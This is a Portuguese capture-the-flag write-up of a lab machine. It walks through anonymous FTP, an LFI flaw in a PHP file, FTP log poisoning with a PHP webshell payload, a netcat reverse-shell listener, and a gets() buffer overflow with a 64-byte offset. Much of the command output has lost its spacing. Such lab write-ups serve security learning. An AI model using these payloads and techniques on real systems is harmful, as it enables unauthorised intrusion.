Guia com dicas que podem te auxiliar na resolução do CTF antes de ler o write-up.
Escaneie portas do alvo para identificar serviços
Verifique o acesso anônimo do servidor FTP
Baixe arquivos interessantes do FTP
Identifique uma vulnerabilidade no arquivo PHP
Acesse arquivos locais do alvo
Injete código malicioso nos logs
Obtenha uma shell reversa na máquina alvo
Explore diretórios como /opt em busca de arquivos interessantes
Veja como o programa se comporta recebendo muitos caracteres (Segmentation Fault)
Veja as permissões SUDO do novo usuário
Consulte como explorar o binário bzip2
Obtenha a Chave Privada SSH do Root
Reconhecimento de Rede
Descoberta de Hosts Ativos
O primeiro passo foi identificar os hosts ativos na rede local. Para isso, utilizei a ferramenta netdiscover, que realiza uma varredura ARP passiva. Este método é eficaz para descobrir dispositivos que estão na mesma sub-rede, uma vez que a comunicação ARP é comum entre dispositivos conectados.
O scan revelou que a máquina alvo estava no IP 10.0.2.11. Esse foi o meu ponto de partida para os próximos passos.
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 63 é uma indicação de que possivelmente estamos lidando com um sistema Linux. O TTL inicial para sistemas Linux costuma ser 64, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 64, é provável que o sistema alvo seja uma máquina Linux.
attacker> ping-c110.0.2.11PING10.0.2.11 (10.0.2.11) 56(84) bytes of data.64bytesfrom10.0.2.11:icmp_seq=1ttl=64time=1.28ms---10.0.2.11pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=1.276/1.276/1.276/0.000ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo.
attacker> rustscan-a10.0.2.11-r1-65535---sCV-n-Pn-oXnmap.xml.----..-..-..----..---..----..---..--..-..-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| ||.-. \| {_}|.-._}}||.-._}}\ }//\ \| |\|`-' `-'`-----'`----'`-' `----' `---' `-'`-'`-' `-'The Modern Day Port Scanner.________________________________________: https://discord.gg/GFrQsGy :: https://github.com/RustScan/RustScan : --------------------------------------🌍HACK THE PLANET🌍PORT STATE SERVICE REASON VERSION21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.3| ftp-syst:| STAT:| FTP server status:| Connected to ::ffff:10.0.2.5| Logged in as ftp| TYPE: ASCII| No session bandwidth limit| Session timeout in seconds is 300| Control connection is plain text| Data connections will be plain text| At session startup, client count was 1| vsFTPd 3.0.3 - secure, fast, stable|_End of status| ftp-anon: Anonymous FTP login allowed (FTP code 230)|_-rw-r--r-- 1 0 0 125 Apr 04 2021 index.php22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)| ssh-hostkey:| 2048 b1:12:94:12:60:67:e1:0b:45:c1:8d:e9:21:13:bc:51 (RSA)| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFQ4qkZ9D5CvFtWC3WBnPYOHrM2maPa4OOMI6bTfNqwUfJjd+Sn2T7fokjikC9gx4S/Vj+/es9wH0WY9sA5TS2sOKnULHTxM9z+QvO42G60zCG0MBHYa71yeMHKklQ1M/n5jtT366SIkl95Mitw8/tuIZtq8cXkDYMGfIm60bPYaTbDyyLNJemMVJ6un6avC93yyyZIvy9u8S8KdjtB8n7WOu8MJmdxlRkHDNsMZ6vHS/i0c7RmJ/NrJUvR4U53J3yDhFi0l+0GtiCUl2/J3gYgOPujkvkg5KQRbsHrR/v77Ig438PJ8EAG82lQuHMnwY3PIH9M8A9y09/swtNfzm3
| 256 b7:7f:25:94:d6:4e:88:56:8a:22:34:16:c2:de:ba:02 (ECDSA)| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIlB0iWqqfFgpg4PaaMZjfs28ZkCa49mPLY8F8V5PFEy8y0KF7X1VKB+WKS/TSK7ujW3Dr3u1OgLK8vw4om/q1U=
| 256 30:c7:a2:90:39:5d:24:13:bf:aa:ba:4c:a7:f4:2f:bb (ED25519)|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJrcKRHqtkWX7DttOoV7rw/0s7Uf9/RUL82Vf0a8ZBN880/tcp open http syn-ack ttl 64 nginx 1.14.2|_http-title: Site doesn'thaveatitle (text/html; charset=UTF-8).|http-methods:|_SupportedMethods:GETHEADPOST|_http-server-header:nginx/1.14.2MACAddress:08:00:27:0F:F2:81 (Oracle VirtualBoxvirtualNIC)ServiceInfo:OSs:Unix,Linux; CPE:cpe:/o:linux:linux_kernel
O serviço FTP na porta 21 permitia acesso anônimo, ou seja, era possível acessar os arquivos sem necessidade de autenticação. Com isso, foi possível listar os arquivos e baixar um deles para análise.
Depois de baixar o arquivo index.php, o próximo passo foi analisá-lo. Ao abrir o arquivo, ficou evidente uma vulnerabilidade de Inclusão de Arquivo Local (LFI). O código PHP recebia um parâmetro via GET e o incluía diretamente no código, sem qualquer tipo de sanitização.
attacker> batcat-lphpindex.php───────┬───────────────────────────────────────│File:index.php───────┼───────────────────────────────────────1│<?php2│ $file = $_GET['fil3'];3│if(isset($file))4│{5│include($file);6│}7│else8│{9│print("Here my eyes...");10│}11│?>12│<!--Monica's eyes-->
A linha vulnerável é a que faz o include do parâmetro fil3 sem nenhuma validação, possibilitando assim a exploração de LFI para acessar arquivos arbitrários no servidor.
Explorando o Serviço HTTP
Depois de identificar que o serviço HTTP estava ativo na porta 80, utilizei a ferramenta WhatWeb para obter mais informações sobre o servidor web e outras possíveis tecnologias em uso.
O comando acima foi usado para explorar o alvo. O WhatWeb retornou que o servidor em execução era o Nginx, versão 1.14.2.
Acessando a página no navegador, vemos que ela reflete o texto "Here my eyes...", sendo o mesmo texto do arquivo .php analisado, indicando que aquele arquivo no FTP do alvo seja o mesmo utilizado na aplicação web, logo, podendo conter a mesma vulnerabilidade de LFI que observamos no código.
Local File Inclusion (LFI)
Para explorar a vulnerabilidade de LFI encontrada no arquivo index.php, usei o comando curl para acessar arquivos sensíveis no servidor. O primeiro arquivo que tentei acessar foi o /etc/passwd, que contém informações sobre os usuários do sistema.
O comando acima acessou o arquivo /etc/passwd e mostrou o conteúdo, confirmando que a vulnerabilidade de LFI era explorável.
Esse arquivo revelou que havia uma usuária chamada monica, com um diretório /home/monica, sugerindo que essa conta poderia ser o próximo alvo para uma escalada de privilégios.
Para verificar quais usuários têm shells válidas, filtrei as linhas que terminam com sh.
Com essa informação, pude confirmar que tanto o root quanto a usuária monica têm shells válidas.
LFI para RCE via FTP Log Poisoning
Sabendo que havia uma vulnerabilidade de LFI, explorei a técnica de log poisoning para transformar essa vulnerabilidade em execução remota de código (RCE). O objetivo era injetar um código PHP malicioso nos logs do FTP e, em seguida, acessá-los via LFI para obter uma shell reversa.
Primeiro, verifiquei se os logs do FTP estavam acessíveis via LFI.
Confirmando que o arquivo de logs era acessível, o próximo passo foi injetar um payload PHP nos campos de login do FTP. Isso permitiria que o código PHP fosse registrado no log, onde seria executado quando acessado via LFI.
Conectei-me ao FTP e, nos campos de nome de usuário e senha, injetei o seguinte payload PHP: <?php system($_GET['cmd']); ?>.
A resposta indicou que o comando foi executado com sucesso e que o servidor estava rodando como o usuário www-data.
Obtenção de uma Shell Reversa
Com a execução remota de comandos confirmada, meu próximo passo foi obter uma shell reversa para ter controle total sobre a máquina. Para isso, utilizei o netcat para enviar uma conexão reversa para minha máquina de ataque.
Primeiro, configurei o meu listener com netcat:
attacker> nc-nlvp443
Em seguida, executei o seguinte comando no alvo através da LFI para iniciar a conexão reversa:
Agora, com uma shell na máquina alvo como o usuário www-data, o próximo passo seria investigar o sistema para identificar possíveis vetores de escalada de privilégios e avançar na exploração da máquina.
Upgrade da Shell
Após obter o acesso inicial com o shell reverso, o próximo passo foi melhorar a interatividade da shell para garantir que tivéssemos um controle mais robusto sobre o sistema alvo.
Gerando um console bash em segundo plano: Para garantir que tivéssemos um bash funcional, foi necessário criar um processo de bash através do comando script, que abre uma sessão interativa mais apropriada, logo após, colocamos em background com CTRL+Z:
Verificando as dimensões do terminal na máquina atacante: Antes de ajustar o terminal no alvo, verificamos as dimensões da janela na máquina atacante para mantê-las iguais:
attacker> sttysize55153
Resetando o terminal no alvo: Após isso, resetei o terminal do alvo com uma nova TTY:
attacker> sttyraw-echo; fgnc-nlvp443resetxterm
Definindo dimensões e variáveis de ambiente: Com o terminal tratado, exportei as variáveis de ambiente e ajustei as dimensões corretamente:
Ao analisar o código do arquivo ls.c, percebemos que ele contém uma vulnerabilidade de buffer overflow:
www-data@eyes:/opt$catls.c#include <stdlib.h>#include <unistd.h>#include <stdio.h>#include <string.h>#include <sys/types.h>intmain(void){charcommand[100];charls[50]="/usr/bin/ls";charname[50];printf("Enter your name:");gets(name);strcpy(command,ls);setuid(1000);setgid(1000);printf("Hi %s, Im executing ls\n Output:\n",name);system(command);}
O programa usa gets() para capturar a entrada do usuário, o que permite um ataque de buffer overflow, pois essa função não limita o tamanho da entrada.
No arquivo note.txt temos uma mensagem de "monica", afirmando estar preparando uma nova versão deste programa.
Testando o programa, vemos que há um input pro usuário onde inserimos um nome que é refletido, logo em seguida a funcionalidade de listar o diretório é executada, apresentando a listagem no output.
Ao colocar estes caracteres como input, vemos que é quebrada a funcionalidade do programa, dando um aparente erro.
www-data@eyes:/opt$./lsEnteryourname:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaHi aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa, Im executing ls
Output:sh:1:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:notfound
Ao colocar 200 caracteres "a", vemos que o programa incorre num erro especifico de "Segmentation fault".
www-data@eyes:/opt$./lsEnter your name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentationfault
Com isto, vamos explorar a falha enviando um padrão controlado para identificar o offset, para saber em que ponto ocorre a falha de segmentação:
Injetando esse padrão podemos ver em qual parte está quebrando a aplicação (c1Ac).
www-data@eyes:/opt$./lsEnteryourname:Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2AHi Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A, Im executing ls
Output:sh:1:c1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A:notfound
Dessa forma podemos ver o offset que no caso é 64.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb-qc1Ac[*] Exact match at offset 64
Significa que podemos enviar 64 bytes (ou 64 caracteres "a") e em seguida injectar um comando, que por sua vez seria executado e controlado pelo usuário monica.
Conforme exibido ao usar o comando sudo -l, monica pode executar o binario bzip2 como qualquer usuário, inclusive root, sem precisar fornecer uma senha.